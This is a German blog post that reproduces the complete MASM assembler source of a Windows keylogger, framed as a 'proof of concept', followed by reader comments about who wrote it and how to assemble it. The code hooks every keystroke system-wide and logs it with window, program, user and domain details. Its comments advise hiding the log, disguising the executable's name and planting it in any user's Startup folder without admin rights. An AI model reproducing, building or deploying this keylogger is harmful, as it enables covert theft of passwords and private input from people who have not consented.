Freitag, 13. Juni 2008
Keylogger in Assembler
Ein Keylogger in Assembler? Geht nicht? Geht doch! Sogar ohne die Benutzung von DLLs. Der Assembler-Keylogger ist nicht fertig kompliert. Der Keylogger in Assembler wird ist hier nur im Quelltext verfügbar, da es sich hier nur um ein Studie, respektive Proof Of The Concept handelt.
Der Keylogger ist kompiliert nur 4096 Bytes gross - also lediglich 4K. Der Keylogger kann auch via Shortcut ausgeschalten werden. Der Quelltext wurde von ZOverLord erstellt - all kudos to him ![]()
Keylogger Quelltext (Assembler)
- *******************************************************************************************
- ; (BEST Viewed with NOTEPAD)
- ; CopyRight 2005, by ZOverLord at ZOverLords@Yahoo.com - ALL Rights Reserved
- ;
- ; "We Don't NEED no STINKIN DLL!"......ENJOY! vist http://testing.OnlyTheRightAnswers.com
- ;
- ; Proof Of Concept of using Low-Level Hooks without using any DLL for the Hook
- ; This Program is for Educational Proof Of Concept Use ONLY!
- ;
- ; This Program compiles in 4K, get it that's 4,096 Bytes. I got TIRED of all these folks
- ; who need a FAT program as well as a FAT DLL to create a Key-Logger so in frustration
- ; this proof of concept was created. Log Items include:
- ;
- ; Date-Time Stamps, Program Name, Window Title, Window Class, Domain Name, Computer Name
- ; User Name as well as the ability to be placed in StartUp Folders for ANY and/or ALL
- ; users. There is NOT any requirement for this to run as ADMIN, ANYONE can place it in
- ; the startup folder of any user, or for all users.
- ;
- ; The Logfile is named ZKeyLog.txt and seperate logs can be kept for seperate users this
- ; can be done automatically by simply placing the program in the:
- ;
- ; C:\Documents and Settings\All Users\Start Menu\Programs\Startup folder
- ;
- ; C:\Documents and Settings\?USER?\ folder as ZKeyLog.txt
- ; ("You can change the File to Hidden if needed")
- ;
- ; A Hot-Key of [CTRL]-[ALT]-[F11] will turn the Key-Logger Off
- ;
- ; There are two flavors one Raw ASM and one using INVOKES, Raw has more comments, low-level.
- ;
- ; You can rename the EXE file to something NOT so obvious if needed, read the AReadMe.txt
- ;
- ;*******************************************************************************************
- .386
- .model flat, stdcall
- option casemap:none
- include \masm32\include\windows.inc
- include \masm32\include\kernel32.inc
- include \masm32\include\user32.inc
- include \masm32\include\advapi32.inc
- include msvcrt.inc
- includelib \masm32\lib\user32.lib
- includelib \masm32\lib\kernel32.lib
- includelib \masm32\lib\advapi32.lib
- includelib msvcrt.lib
- pushz macro szText:VARARG
- local nexti
- call nexti
- db szText,00h
- nexti:
- endm
- .data
- CopyRight db "CopyRight 2005, ZOverLords@Yahoo.com"
- Vist db "http://testing.OnlyTheRightAnswers.com "
- hBuffer dd ?
- hComputerName db 32 dup(0)
- hCurrentThreadPiD dd 0
- hCurrentWindow dd 0
- hDateFormat db "dd MMM yyyy", 0
- hDomaineName db 128 dup(0)
- hFile dd 0
- hHook dd 0
- hmodul MODULEENTRY32 <>
- hSnapShot dd 0
- hTimeFormat db "hh:mm:ss tt", 0
- hUserName db 32 dup(0)
- msg MSG <>
- onlyOneCopy db "Global\zkl",0
- .code
- main:
- push offset onlyOneCopy ; check to make sure we are the only copy
- push 0 ; of this program running for this user
- push 0 ; for fast user switching we can still have
- call CreateMutexA ; one copy per user running with this check
- call GetLastError ; but if this user is running one already. we exit
- cmp eax,ERROR_ALREADY_EXISTS
- je more_than_one_copy
- xor ebx, ebx ; Zero Out ebx
- push VK_F11 ; this will switch logger off using CTRL+ALT+F11 together
- push MOD_CONTROL or MOD_ALT
- push 0badfaceh ; name of register key -> "0BADFACE"
- push ebx ;
- call RegisterHotKey ; we got a new hot key
- pushz "ab" ; append in binary mode
- pushz "ZKeyLog.txt" ; name of log file
- call fopen ; open the log file
- add esp, 2*4 ; all c lib functions need fixup..
- mov [hFile], eax ; save our file number
- push ebx
- call GetModuleHandleA ; get our module handle for setting the hook
- push ebx ; register our keyboard hook proc and start hooking
- push eax
- push offset KeyBoardProc ; where our hook proc is located
- push WH_KEYBOARD_LL ; low level key logger WH_KEYBOARD_LL = 13
- call SetWindowsHookExA ; Look MOM no DLL Needed <img src="/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" />
- mov [hHook], eax ; ok here is our hook handle for later
- push ebx ; We Need to check for messages like our
- push ebx ; hot key, so we can close when we get it
- push ebx
- push offset msg ; it will be in the message struct
- call GetMessageA ; wait for a message
- push [hHook] ; we got the hot key, lets close up house
- call UnhookWindowsHookEx ; make sure we unhook things to be nice
- push [hFile] ; close our logfile before we stop
- call fclose
- add esp, 04
- more_than_one_copy:
- push eax ; call stop and lets go away
- call ExitProcess
- ;##############################################################
- KeyBoardProc PROC nCode:DWORD, wParam:DWORD, lParam:DWORD
- LOCAL lpKeyState[256] :BYTE
- LOCAL lpClassName[64] :BYTE
- LOCAL lpCharBuf[32] :BYTE
- LOCAL lpDateBuf[12] :BYTE
- LOCAL lpTimeBuf[12] :BYTE
- LOCAL lpLocalTime :SYSTEMTIME
- ;----------------------------
- lea edi, [lpKeyState] ; lets zero out our buffers
- push 256/4
- pop ecx
- xor eax, eax
- rep stosd ; sets us up for doubleword from EAX
- mov eax, wParam
- cmp eax, WM_KEYUP ; only need WM_KEYDOWN
- je next_hook ; bypass double logging
- cmp eax, WM_SYSKEYUP ; only Need WM_SYSKEYDOWN
- je next_hook ; bypass double logging
- call GetForegroundWindow ; get handle for currently used window ( specific to NT and after )
- cmp [hCurrentWindow], eax ; if its not different to last one saved..
- je no_window_change ; bypass all the headings
- mov [hCurrentWindow], eax ; save it for use now and compare later
- push 64 ; get the class name
- lea esi, [lpClassName]
- push esi
- push [hCurrentWindow]
- call GetClassName
- lea esi, [lpLocalTime] ; invoke GetLocalTime, ADDR LocalTime
- push esi
- call GetLocalTime
- push 12 ; invoke GetDateFormat, NULL, NULL \
- lea esi, [lpDateBuf]
- push esi ; ADDR lpLocalTime, ADDR hDateFormat \
- lea esi, [hDateFormat]
- push esi ; ADDR lpDateBuf, Size of 12
- lea esi, [lpLocalTime]
- push esi
- push 0
- push 0
- call GetDateFormat ; format the date
- push 12 ; invoke GetTimeFormat, NULL, NULL \
- lea esi, [lpTimeBuf]
- push esi ; ADDR lpLocalTime, ADDR hTimeFormat \
- lea esi, [hTimeFormat]
- push esi ; ADDR lpTimeBuf, Size of 12
- lea esi, [lpLocalTime]
- push esi
- push 0
- push 0
- call GetTimeFormat ; format the time
- lea esi, [hCurrentThreadPiD] ; get the processid that sent the key
- push esi ; using the HWND we got earlier from
- mov eax, [hCurrentWindow] ; our GetForegroundWindow call
- push eax ; we need it to get the program exe name
- call GetWindowThreadProcessId
- mov ebx, hCurrentThreadPiD ; remember we are NOT using a DLL so.....
- push ebx ; we need to use ToolHelp procs to get
- push TH32CS_SNAPMODULE ; the program exe name of who sent us
- call CreateToolhelp32Snapshot ; this key
- mov hSnapShot,eax ; save the ToolHelp Handle to close later
- mov hmodul.dwSize, sizeof MODULEENTRY32; need to initialize size or we will fail
- push offset hmodul ; first Module is always module for process
- mov eax, [hSnapShot] ; so safe to assume that the exe file name here
- push eax ; will always be the right one for us
- call Module32First
- mov eax, [hSnapShot] ; we are done with ToolHelp so we need
- push eax ; to tell it we wish to close
- call CloseHandle
- push 256 ; find the window title text
- lea esi, [lpKeyState] ; use lpKeyState it's not being used yet so
- push esi
- mov eax, [hCurrentWindow] ; using the HWND we got from GetForegroundWindow
- push eax
- call GetWindowText
- push offset hmodul.szExePath
- lea esi, [lpTimeBuf] ; print the formatted time
- push esi
- lea esi, [lpDateBuf] ; print the formatted date
- push esi
- pushz 13,10,"[%s, %s - Program:%s]",13,10
- push [hFile]
- call fprintf ; write the buffer to cache
- add esp, 3*4
- lea esi, [lpClassName] ; print the Window Class Name
- push esi
- lea esi, [lpKeyState] ; print the Window Title
- push esi
- pushz 13,10,"[ Window Title:%s - Window Class:%s]",13,10
- push [hFile]
- call fprintf ; write the buffer to cache
- add esp, 3*4
- mov hBuffer, 128 ; get the current domain name
- push offset hBuffer
- push offset hDomaineName
- push 1
- call GetComputerNameExA
- mov hBuffer, 32 ; get the current computer name
- push offset hBuffer
- push offset hComputerName
- push 0
- call GetComputerNameExA
- mov hBuffer, 32 ; get the current user name
- push offset hBuffer
- push offset hUserName
- call GetUserNameA
- push offset hUserName ; print the user name
- push offset hComputerName ; print the computer name
- push offset hDomaineName ; print the domain name
- pushz "[ Domain:%s - Computer:%s - User:%s]",13,10
- push [hFile]
- call fprintf ; write to cache
- add esp, 3*4
- push [hFile]
- call fflush ; flush data buffer to disk..
- add esp, 4
- no_window_change:
- mov esi, [lParam] ; we don't want to print shift or capslock names.
- lodsd ; it just makes the logs easier to read without them.
- cmp al, VK_LSHIFT ; they are tested later when distinguishing between
- je next_hook ; bypass left shift Key for upper/lowercase characters
- cmp al, VK_RSHIFT
- je next_hook ; bypass right shift Key
- cmp al, VK_CAPITAL
- je next_hook ; bypass caps lock Key
- cmp al, VK_ESCAPE
- je get_name_of_key ; we Want escape characters
- cmp al, VK_BACK
- je get_name_of_key ; we want backspace key
- cmp al, VK_TAB
- je get_name_of_key ; we want tab key
- ;------------------
- lea edi, [lpCharBuf] ; zero initialise buffer for key text
- push 32/4
- pop ecx
- xor eax, eax
- rep stosd
- ;----------
- lea ebx, [lpKeyState]
- push ebx
- call GetKeyboardState ; get current keyboard state
- push VK_LSHIFT ; test if left shift key held down
- call GetKeyState
- xchg esi, eax ; save result in esi
- push VK_RSHIFT ; test right..
- call GetKeyState
- or eax, esi ; al == 1 if either key is DOWN
- mov byte ptr [ebx + 16], al ; toggle a shift key to on/off
- push VK_CAPITAL
- call GetKeyState ; returns TRUE if caps lock is on
- mov byte ptr [ebx + 20], al ; toggle caps lock to on/off
- mov esi, [lParam]
- lea edi, [lpCharBuf]
- push 00h
- push edi ; buffer for ascii characters
- push ebx ; keyboard state
- lodsd
- xchg eax, edx
- lodsd
- push eax ; hardware scan code
- push edx ; virutal key code
- call ToAscii ; convert to human readable characters
- test eax, eax ; if return zero, continue
- jnz test_carriage_return ; else, write to file.
- get_name_of_key: ; no need for large table of pointers to get asciiz
- mov esi, [lParam]
- lodsd ; skip virtual key code
- lodsd ; eax = scancode
- shl eax, 16
- xchg eax, ecx
- lodsd ; extended key info
- shl eax, 24
- or ecx, eax
- push 32
- lea edi, [lpCharBuf]
- push edi
- push ecx
- call GetKeyNameTextA ; get the key text
- push edi
- pushz "[%s]" ; print the special key text
- jmp write_to_file
- test_carriage_return:
- push edi
- pushz "%s" ; print regular keys
- cmp byte ptr [edi], 0dh ; carriage return?
- jne write_to_file
- mov byte ptr [edi + 1], 0ah ; add linefeed, so logs are easier to read.
- write_to_file:
- push [hFile] ; where we write to the log file
- call fprintf
- add esp, 2*4
- next_hook:
- push [lParam] ; reply for possible other hooks waiting
- push [wParam]
- push [nCode]
- push [hHook]
- call CallNextHookEx
- ret
- KeyBoardProc ENDP
- end main
PS. Man braucht MASM zum komplieren.
bozo - #1 - 24.10.2008 05:16 - (Antwort)
This is a keylogger stolen from 29a#8 - this guy calling himself ZOverLord did not write it!!
Mr. Foo - #1.1 - 24.10.2008 15:09 - (Antwort)
Hi bonzo,
I checked the 8th mag from 29a and I didn't find this keylogger. Where is it written?
imran - #2 - 18.06.2009 14:42 - (Antwort)
Hi, how can i assemble this code
or which assembler i need to make its .exe
Thanx
Mr. Foo - #2.1 - 18.06.2009 16:43 - (Antwort)
I think you can use MASM (Microsoft Macro Assembler) for that.
Mr. Foo - #3.1 - 28.04.2010 19:08 - (Antwort)
Hi,
I did not compiled it yet, plus its not my code. So I can't help you - sorry :/
